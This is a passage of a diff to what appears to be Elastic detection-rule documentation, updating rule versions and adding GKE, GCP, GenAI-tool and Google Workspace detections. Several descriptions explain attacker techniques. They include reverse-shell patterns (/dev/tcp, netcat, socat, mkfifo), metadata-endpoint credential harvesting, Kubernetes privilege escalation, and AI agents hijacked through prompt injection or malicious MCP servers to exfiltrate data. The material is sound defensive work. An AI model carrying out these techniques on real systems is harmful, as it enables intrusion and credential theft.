Detection], [Tactic: Execution], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |11 @@ -1214,7 +1264,7 @@ and their rule type is `machine_learning`. |<> |Identifies when a firewall rule is modified in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be modified to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may modify an existing firewall rule in order to weaken their target's security controls and allow more permissive ingress or egress traffic flows for their benefit. |[Domain: Cloud], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Configuration Audit], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |109 -|<> |Identifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). Custom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. Custom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized. |[Domain: Cloud], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Resources: Investigation Guide] |None |109 +|<> |Identifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). Custom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. Custom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized. |[Domain: Cloud], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Resources: Investigation Guide] |None |110 |<> |Identifies an Identity and Access Management (IAM) role deletion in Google Cloud Platform (GCP). A role contains a set of permissions that allows you to perform specific actions on Google Cloud resources. An adversary may delete an IAM role to inhibit access to accounts utilized by legitimate users. |[Domain: Cloud], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Identity and Access Audit], [Tactic: Impact], [Resources: Investigation Guide] |None |108 @@ -1240,7 +1290,7 @@ and their rule type is `machine_learning`. |<> |Identifies when a service account is disabled in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. An adversary may disable a service account in order to disrupt to disrupt their target's business operations. |[Domain: Cloud], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Identity and Access Audit], [Tactic: Impact], [Resources: Investigation Guide] |None |108 -|<> |Identifies when a new key is created for a service account in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. If private keys are not tracked and managed properly, they can present a security risk. An adversary may create a new key for a service account in order to attempt to abuse the permissions assigned to that account and evade detection. |[Domain: Cloud], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |109 +|<> |Identifies when a new key is created for a service account in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. If private keys are not tracked and managed properly, they can present a security risk. An adversary may create a new key for a service account in order to attempt to abuse the permissions assigned to that account and evade detection. |[Domain: Cloud], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |110 |<> |Identifies when the configuration is modified for a storage bucket in Google Cloud Platform (GCP). An adversary may modify the configuration of a storage bucket in order to weaken the security controls of their target's environment. |[Domain: Cloud], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Identity and Access Audit], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |109 @@ -1256,12 +1306,42 @@ and their rule type is `machine_learning`. |<> |Detects bursts of failed GKE API requests from a single user identity within a five-minute window. Repeated authorization failures across multiple actions can indicate credential stuffing, RBAC probing, or reconnaissance with stolen tokens. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |1 +|<> |Detects GKE API requests where a caller is impersonating a privileged cluster identity such as system:kube-controller-manager, system:admin, system:anonymous, or a kube-system service account. These identities have broad cluster-wide permissions including unrestricted access to secrets, the ability to create tokens for any service account, schedule pods on any node, and modify RBAC. Impersonating system:kube-controller-manager grants access to secrets across namespaces and service account token minting for lateral movement. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |1 + +|<> |Detects non-system identities using the GKE nodes/proxy API to reach a node's Kubelet through the API server. The nodes/proxy subresource allows any principal with this permission to call the Kubelet API without direct node network access or Kubelet TLS certificates. Through this path an attacker can list pod specs (including environment secrets), read Kubelet configuration, retrieve container logs, and access running pod metadata on the target node. Monitoring endpoints such as metrics, healthz, and stats/summary are excluded to reduce noise from observability tooling. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Lateral Movement], [Tactic: Discovery], [Resources: Investigation Guide] |None |1 + |<> |Detects creation or modification of GKE mutating or validating admission webhook configurations by non-system identities. Malicious webhooks can inject workloads, block security tooling, or intercept API traffic for persistence and defense evasion. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |1 -|<> |Detects creation or modification of a GKE ClusterRoleBinding that grants the cluster-admin ClusterRole, providing unrestricted cluster access and enabling rapid privilege escalation or persistence. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |1 +|<> |Detects bursts of GKE API requests from an anonymous identity that probe many distinct actions and resources with mostly failed outcomes. This pattern is consistent with unauthenticated permission enumeration against an exposed API server. On GKE GCP audit logs, unauthenticated probes often omit "client.user.email" (null principal) with Unauthorized failures; those events are included alongside "system:anonymous" / "system:unauthenticated". |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Discovery], [Tactic: Reconnaissance], [Resources: Investigation Guide] |None |1 + +|<> |Detects create, update, or patch of pods by an unauthenticated anonymous GKE identity. Anonymous pod mutation is a critical misconfiguration signal and a common path for unauthenticated attackers to deploy workloads or maintain access. Includes "system:anonymous" / "system:unauthenticated" and GKE audit rows with a missing principal (seen on unauthenticated Unauthorized/forbidden pod writes). |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Execution], [Resources: Investigation Guide] |None |1 + +|<> |Detects successful GKE API requests from unauthenticated anonymous identities using an unusual user agent. Attackers may rely on anonymous access for initial cluster access or to avoid attribution. Matches "system:anonymous" / "system:unauthenticated" and GKE audit rows where the principal is missing (common for unauthenticated clients). Common kube-probe health checks (readyz/livez/healthz/version) are excluded. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Initial Access], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |1 + +|<> |Detects creation of a GKE CertificateSigningRequest (CSR) that requests the kubernetes.io/kube-apiserver-client signer. This signer issues general API client certificates with few subject restrictions, unlike the restricted kubelet signers used for node certificate rotation. Attackers with CSR permissions use this signer to mint long-lived credentials for privileged identities such as system:kube-controller-manager, enabling persistence and privilege escalation that survives token revocation and RBAC changes. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: GCP Audit Logs], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |1 + +|<> |Detects when the same non-system GKE identity creates a CertificateSigningRequest (CSR) and then approves that same CSR within five minutes, consistent with self-approval abuse. Attackers who gain CSR create and approval RBAC can submit a certificate request and approve it themselves to obtain a long-lived client certificate without involving cluster operators, a pattern documented in Kubernetes persistence research and adversary emulation. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: GCP Audit Logs], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |1 + +|<> |Detects creation or approval of a GKE CertificateSigningRequest (CSR) by a non-system identity. This is a breadth baseline rule for human or custom automation CSR activity on GKE. Attackers with cluster access can submit and approve CSRs to obtain long-lived client certificates that survive token revocation and RBAC changes. Use companion rules to evaluate signer choice, requested identity, and self-approval behavior. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: GCP Audit Logs], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |1 + +|<> |Detects creation or modification of a GKE ClusterRoleBinding that grants the cluster-admin ClusterRole, providing unrestricted cluster access and enabling rapid privilege escalation or persistence. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |2 |<> |Detects GKE pod creation with dangerous Linux capabilities that are commonly abused in container escape techniques. Standalone pods are included; controller-owned ReplicaSet, DaemonSet, and StatefulSet workloads are excluded. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Execution], [Resources: Investigation Guide] |None |1 +|<> |Detects modifications to the CoreDNS or kube-dns ConfigMap in the kube-system namespace on GKE. These ConfigMaps control cluster DNS resolution for all pods. An attacker who modifies the CoreDNS Corefile can redirect internal service DNS names to attacker-controlled IP addresses, enabling man-in-the-middle attacks against the Kubernetes API server, database services, and other internal endpoints. Pods that resolve service names via cluster DNS will transparently connect to the attacker instead of the legitimate service, allowing interception of service account tokens, database credentials, and API traffic. DNS poisoning at the cluster level is particularly dangerous because it affects every pod in every namespace simultaneously and does not require any modification to the victim workloads. CoreDNS configuration changes are rare in normal operations and any unexpected modification should be investigated immediately. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide] |None |1 + +|<> |Detects creation of a GKE RoleBinding or ClusterRoleBinding that grants permissions to a ServiceAccount, which may indicate privilege delegation or RBAC misconfiguration leading to elevated access. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |1 + +|<> |Detects creation or modification of GKE Roles or ClusterRoles that grant high-risk permissions, such as wildcard access or RBAC escalation verbs (bind, escalate, impersonate), which may enable privilege escalation or unauthorized access within the cluster. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |1 + +|<> |Detects allowed updates or patches to the pods/ephemeralcontainers subresource on GKE by a non-system identity. Ephemeral containers are commonly used for debugging (kubectl debug) but can also be abused to inject tooling into a running pod, access mounted secrets, and execute commands in the target pod context. Attackers with sufficient RBAC may use ephemeral containers to escalate privileges, move laterally, or establish persistence without deploying a new workload. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Execution], [Resources: Investigation Guide] |None |1 + +|<> |Detects creation or modification of a GKE Service with type NodePort. NodePort exposes a static port on every worker node that hosts matching pods, which widens the cluster's external attack surface and can bypass load-balancer and firewall controls. Attackers may create NodePort Services to intercept traffic or establish a direct path into the cluster. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Initial Access], [Resources: Investigation Guide] |None |1 + +|<> |Detects denied GKE API create requests from non-control-plane identities. Failed creates can indicate RBAC probing, stolen credentials with insufficient privileges, or attempts to deploy unauthorized workloads. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Execution], [Resources: Investigation Guide] |None |1 + +|<> |Detects the first occurrence of a failed GKE API request from a previously unseen user agent. Adversary tooling often uses non-standard clients; combined with authorization failures this can indicate RBAC probing or exploitation attempts. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Execution], [Tactic: Discovery], [Resources: Investigation Guide] |None |1 + |<> |Detects GKE pod create, update, or patch events that enable host IPC namespace sharing. This exposes host inter-process communication mechanisms and can support privilege escalation. Controller-owned workloads are excluded. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Execution], [Resources: Investigation Guide] |None |1 |<> |Detects GKE pod create, update, or patch events that enable host network namespace sharing. HostNetwork grants access to the node network stack and can bypass namespace network policies. System identities and controller-owned workloads are excluded. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Execution], [Resources: Investigation Guide] |None |1 @@ -1270,14 +1350,34 @@ and their rule type is `machine_learning`. |<> |Detects GKE pod create, update, or patch events that mount sensitive hostPath volumes such as the root filesystem, kubelet paths, or container runtime sockets. This can enable container escape and credential theft. System identities and controller-owned workloads are excluded. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Execution], [Resources: Investigation Guide] |None |1 +|<> |Detects successful GKE pod exec sessions whose command references Google Cloud instance metadata endpoints, including metadata.google.internal, computeMetadata/v1, or the link-local metadata IP 169.254.169.254. Workloads that reach the GKE metadata service from an exec session are often attempting to harvest short-lived credentials or instance attributes from the node or workload identity boundary. That behavior is high risk because it can expose cloud credentials to code running inside a container. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: GCP Audit Logs], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Execution], [Resources: Investigation Guide] |None |1 + +|<> |Detects successful GKE pod exec sessions whose command resembles reverse-shell or bind-shell one-liner patterns, including /dev/tcp and /dev/udp redirection, netcat/ncat exec-style flags, socat shell handoff, mkfifo pipelines, and common language socket idioms. Legitimate debug sessions sometimes use similar building blocks, but together these patterns align with post-exploitation interactive access and command-and-control. Common localhost /dev/tcp health-check ports are excluded. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: GCP Audit Logs], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Execution], [Tactic: Command and Control], [Resources: Investigation Guide] |None |1 + +|<> |Detects successful GKE pod exec sessions where the executed command references high-value host or in-cluster paths: mounted service account or platform tokens, kubelet and control-plane configuration areas, host identity stores, root or home credential directories, common private-key and keystore extensions, process environment dumps, and configuration filenames suggestive of embedded secrets. Attackers with pods/exec often use these one-liners to steal credentials before lateral movement or privilege escalation. A narrow exclusion ignores benign resolv.conf reads. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: GCP Audit Logs], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Execution], [Resources: Investigation Guide] |None |1 + +|<> |Detects successful GKE pod exec sessions where the executed command implies curl or wget fetching an HTTPS URL. Attackers with pods/exec often run one-liners to stage tooling, pull scripts or binaries, or exfiltrate data over HTTPS—activity that should be rare compared to shells, debuggers, or expected health checks. Common cluster health, localhost, and OIDC/JWKS endpoint patterns are excluded to reduce benign automation noise. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: GCP Audit Logs], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Execution], [Tactic: Command and Control], [Resources: Investigation Guide] |None |1 + |<> |Detects successful GKE audit events where a pod is created with allowPrivilegeEscalation enabled. This weakens container isolation and can help an attacker escalate toward host access. Standalone pods are included; workloads owned by ReplicaSet, DaemonSet, or StatefulSet controllers are excluded. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Execution], [Resources: Investigation Guide] |None |1 +|<> |Flags an existing GKE Role or ClusterRole being changed (patch or update) so the effective rules become cluster-admin-like: wildcard on every API resource and wildcard on every verb. That is usually a deliberate privilege expansion, not a typo. GKE audit logs with response body capture are required so the detection reads the merged role after apply; loopback source IPs are ignored. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |1 + +|<> |Detects an unusual volume of GKE API get requests against multiple distinct Secret objects from the same client fingerprint (user, source IP, and user agent) within the rule lookback window. This can indicate credential access or in-cluster reconnaissance, where a user or token is used to enumerate and retrieve sensitive data such as service account tokens, registry credentials, TLS material, or application configuration. Failed get requests are included and can signal RBAC probing; system service accounts are excluded only when secret reads succeed, since failed secret access by a service account may indicate compromise or misconfiguration worth investigating. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |2 + |<> |Detects successful GKE secret get or list operations where the user agent matches scripting runtimes, minimal HTTP clients, or offensive-distribution fingerprints rather than typical kubectl or controller traffic. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |1 |<> |Detects the first time a human GKE caller lists secrets cluster-wide or in default or kube-system from a source autonomous system that is not attributed to common cloud provider organizations. This can indicate remote secret enumeration using stolen credentials from an unusual network. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Discovery], [Resources: Investigation Guide] |None |1 +|<> |Detects write operations performed by GKE service accounts against RBAC resources (Roles, ClusterRoles, RoleBindings, ClusterRoleBindings). Service accounts typically do not manage RBAC directly; this activity may indicate token abuse or unauthorized privilege escalation. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Persistence], [Resources: Investigation Guide] |None |1 + +|<> |Detects creation of a GKE service account token through the TokenRequest API by a non-system identity. TokenRequest allows programmatic minting of short-lived tokens for any service account the caller can create tokens for, without reading a mounted projected token from disk. Attackers with initial cluster access can abuse this API to obtain tokens for more privileged service accounts, pivot via Workload Identity to GCP APIs, or retain access after pod termination. Unlike filesystem token theft, TokenRequest activity is visible only in Kubernetes audit logs as create against the serviceaccounts/token subresource. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |1 + +|<> |Detects a request to attach a built-in kube-controller-manager service account to a pod running in the kube-system namespace on GKE. These service accounts are admin-equivalent and are not normally assigned to arbitrary pods. An attacker who can create pods in kube-system can abuse these tokens for cluster-wide privilege escalation. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Execution], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |1 + |<> |Detects GKE service account or node identities invoking self-subject access or rules review APIs. Non-human identities rarely enumerate their own permissions outside known controllers; this can indicate stolen tokens probing effective RBAC. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |1 +|<> |Detects the first occurrence of create or patch activity against sensitive GKE workloads (DaemonSets, Deployments, or CronJobs) from an unusual combination of user agent, source IP, and user identity, which may indicate privilege escalation or unauthorized access within the cluster. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Persistence], [Resources: Investigation Guide] |None |1 + |<> |Detects the first occurrence of a non-system GKE identity establishing an exec session into a pod. kubectl exec enables interactive command execution inside workloads and is a common post-compromise technique to access secrets and expand access. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: GCP], [Data Source: Google Cloud Platform], [Use Case: Threat Detection], [Tactic: Execution], [Resources: Investigation Guide] |None |1 |<> |This rule detects the creation of GRUB configuration files on Linux systems. The GRUB configuration file is used to configure the boot loader, which is responsible for loading the operating system. Attackers may create malicious GRUB configuration files to execute arbitrary code or escalate privileges during the boot process, which can be leveraged to maintain persistence on the system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Execution], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |6 @@ -1294,7 +1394,7 @@ and their rule type is `machine_learning`. |<> |Detects when GenAI tools connect to domains using suspicious TLDs commonly abused for malware C2 infrastructure. TLDs like .top, .xyz, .ml, .cf, .onion are frequently used in phishing and malware campaigns. Legitimate GenAI services use well-established domains (.com, .ai, .io), so connections to suspicious TLDs may indicate compromised tools, malicious plugins, or AI-generated code connecting to attacker infrastructure. |[Domain: Endpoint], [OS: macOS], [OS: Windows], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Data Source: Sysmon], [Resources: Investigation Guide], [Domain: LLM], [Mitre Atlas: T0086] |None |1 -|<> |Detects GenAI tools connecting to unusual domains on macOS. Adversaries may compromise GenAI tools through prompt injection, malicious MCP servers, or poisoned plugins to establish C2 channels or exfiltrate sensitive data to attacker-controlled infrastructure. AI agents with network access can be manipulated to beacon to external servers, download malicious payloads, or transmit harvested credentials and documents. |[Domain: Endpoint], [OS: macOS], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Domain: LLM], [Mitre Atlas: T0086] |None |5 +|<> |Detects GenAI tools connecting to unusual domains on macOS. Adversaries may compromise GenAI tools through prompt injection, malicious MCP servers, or poisoned plugins to establish C2 channels or exfiltrate sensitive data to attacker-controlled infrastructure. AI agents with network access can be manipulated to beacon to external servers, download malicious payloads, or transmit harvested credentials and documents. |[Domain: Endpoint], [OS: macOS], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Domain: LLM], [Mitre Atlas: T0086] |None |6 |<> |Detects when GenAI processes perform encoding or chunking (base64, gzip, tar, zip) followed by outbound network activity. This sequence indicates data preparation for exfiltration. Attackers encode or compress sensitive data before transmission to obfuscate contents and evade detection. Legitimate GenAI workflows rarely encode data before network communications. |[Domain: Endpoint], [OS: Linux], [OS: macOS], [OS: Windows], [Use Case: Threat Detection], [Tactic: Exfiltration], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Microsoft Defender XDR], [Data Source: SentinelOne], [Resources: Investigation Guide], [Domain: LLM], [Mitre Atlas: T0086] |None |3 @@ -1344,9 +1444,9 @@ and their rule type is `machine_learning`. |<> |Generates a detection alert for each Google SecOps alert written to the configured indices. Enabling this rule allows you to immediately begin investigating Google SecOps alerts in the app. |[Data Source: Google SecOps], [Use Case: Threat Detection], [Resources: Investigation Guide], [Promotion: External Alerts] |None |1 -|<> |Detects when a Google Workspace user disables 2-step verification (2SV) on their account. An adversary with access to a compromised account may remove 2SV to eliminate the second authentication factor, leaving password-only access and making future sign-ins easier to abuse, relay, or maintain without triggering MFA challenges. |[Domain: Cloud], [Data Source: Google Workspace], [Use Case: Configuration Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |112 +|<> |Detects when a Google Workspace user disables 2-step verification (2SV) on their account. An adversary with access to a compromised account may remove 2SV to eliminate the second authentication factor, leaving password-only access and making future sign-ins easier to abuse, relay, or maintain without triggering MFA challenges. |[Domain: Cloud], [Data Source: Google Workspace], [Use Case: Configuration Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |113 -|<> |Detects when a super administrator authorizes domain-wide delegation (DWD) API client access for a Google Cloud service account or OAuth client. DWD lets an application impersonate users and access Workspace APIs across the tenant. Adversaries with admin access may register or authorize a malicious client with broad scopes to maintain API-based persistence and access mail, drive, and directory data without relying on a single user's password alone. |[Domain: Cloud], [Data Source: Google Workspace], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Persistence], [Tactic: Privilege Escalation] |None |212 +|<> |Detects when a super administrator authorizes domain-wide delegation (DWD) API client access for a Google Cloud service account or OAuth client. DWD lets an application impersonate users and access Workspace APIs across the tenant. Adversaries with admin access may register or authorize a malicious client with broad scopes to maintain API-based persistence and access mail, drive, and directory data without relying on a single user's password alone. |[Domain: Cloud], [Data Source: Google Workspace], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Persistence], [Tactic: Privilege Escalation] |None |213 |<> |Assigning an administrative role to a user or group grants elevated privileges within Google Workspace, including access to the Google Admin console and the ability to manage domain resources and applications. Adversaries may assign administrator roles to an existing account or a newly created account/group to establish persistence, facilitate privilege escalation, and enable follow-on actions across the tenant. In particular, users with Super Admin privileges can bypass single sign-on (SSO) if it is enabled in Google Workspace. |[Domain: Cloud], [Data Source: Google Workspace], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |212 @@ -1364,11 +1464,11 @@ and their rule type is `machine_learning`. |<> |Detects when an anonymous user views, copies, or downloads a private key or credential file from Google Drive via an anyone-with-the-link share. Adversaries who obtain or create open Drive links can harvest encryption keys and secrets stored in user drives, then use those materials to decrypt data, authenticate to services, or expand access beyond the initial compromise. |[Domain: Cloud], [Data Source: Google Workspace], [Use Case: Configuration Audit], [Tactic: Credential Access], [Tactic: Collection], [Resources: Investigation Guide] |None |10 -|<> |Detects when a Gmail routing, mail-forwarding, or custom mail-host setting is created or modified in Google Workspace. Adversaries with administrative access can add Routing rules (also deliver to / change envelope recipient), recipient address map forwarding, or mail hosts and outbound gateways to copy or redirect sensitive email for collection. |[Domain: Cloud], [Data Source: Google Workspace], [Tactic: Collection], [Resources: Investigation Guide] |None |111 +|<> |Detects when a Gmail routing, mail-forwarding, or custom mail-host setting is created or modified in Google Workspace. Adversaries with administrative access can add Routing rules (also deliver to / change envelope recipient), recipient address map forwarding, or mail hosts and outbound gateways to copy or redirect sensitive email for collection. |[Domain: Cloud], [Data Source: Google Workspace], [Tactic: Collection], [Resources: Investigation Guide] |None |112 |<> |Surfaces Google Workspace sign-in events that Google's identity risk engine has flagged as suspicious via the `is_suspicious` field on the `login` activity record. This is Google's own ML-driven sign-in risk signal. The field is set by Google server-side based on signals like sign-ins from anonymizer infrastructure, known-malicious IP ranges, atypical user characteristics, or anomalous device fingerprints. Use this signal as enrichment alongside the other Workspace sign-in rules rather than as a standalone alert. This rule is a building block. It does not generate user-facing alerts by default but populates `signal.rule.building_block_type` for correlation rules or analyst pivots. |[Domain: Cloud], [Domain: Identity], [Data Source: Google Workspace], [Data Source: Google Workspace Audit Logs], [Data Source: Google Workspace User Log Events], [Use Case: Threat Detection], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Tactic: Credential Access], [Rule Type: BBR], [Resources: Investigation Guide] |None |1 -|<> |Detects when an administrator disables multi-factor authentication enforcement or removes the ability for users to enroll in 2-step verification across a Google Workspace organization or organizational unit. Adversaries with administrative access may weaken tenant-wide authentication requirements to enable password-only sign-ins, facilitate credential abuse at scale, and reduce friction for follow-on account takeover across the domain. |[Domain: Cloud], [Data Source: Google Workspace], [Use Case: Configuration Audit], [Tactic: Impact], [Tactic: Credential Access], [Tactic: Defense Evasion], [Tactic: Persistence], [Resources: Investigation Guide] |None |213 +|<> |Detects when an administrator disables multi-factor authentication enforcement or removes the ability for users to enroll in 2-step verification across a Google Workspace organization or organizational unit. Adversaries with administrative access may weaken tenant-wide authentication requirements to enable password-only sign-ins, facilitate credential abuse at scale, and reduce friction for follow-on account takeover across the domain. |[Domain: Cloud], [Data Source: Google Workspace], [Use Case: Configuration Audit], [Tactic: Impact], [Tactic: Credential Access], [Tactic: Defense Evasion], [Tactic: Persistence], [Resources: Investigation Guide] |None |214 |<> |Detects when a user copies a Google spreadsheet, form, document or script from an external drive. Sequence logic has been added to also detect when a user grants a custom Google application permission via OAuth shortly after. An adversary may send a phishing email to the victim with a Drive object link where "copy" is included in the URI, thus copying the object to the victim's drive. If a container-bound script exists within the object, execution will require permission access via OAuth in which the user has to accept. |[Domain: Cloud], [Data Source: Google Workspace], [Tactic: Initial Access], [Resources: Investigation Guide] |None |13 @@ -1376,9 +1476,9 @@ and their rule type is `machine_learning`. |<> |Detects when the Google Marketplace restrictions are changed to allow any application for users in Google Workspace. Malicious APKs created by adversaries may be uploaded to the Google marketplace but not installed on devices 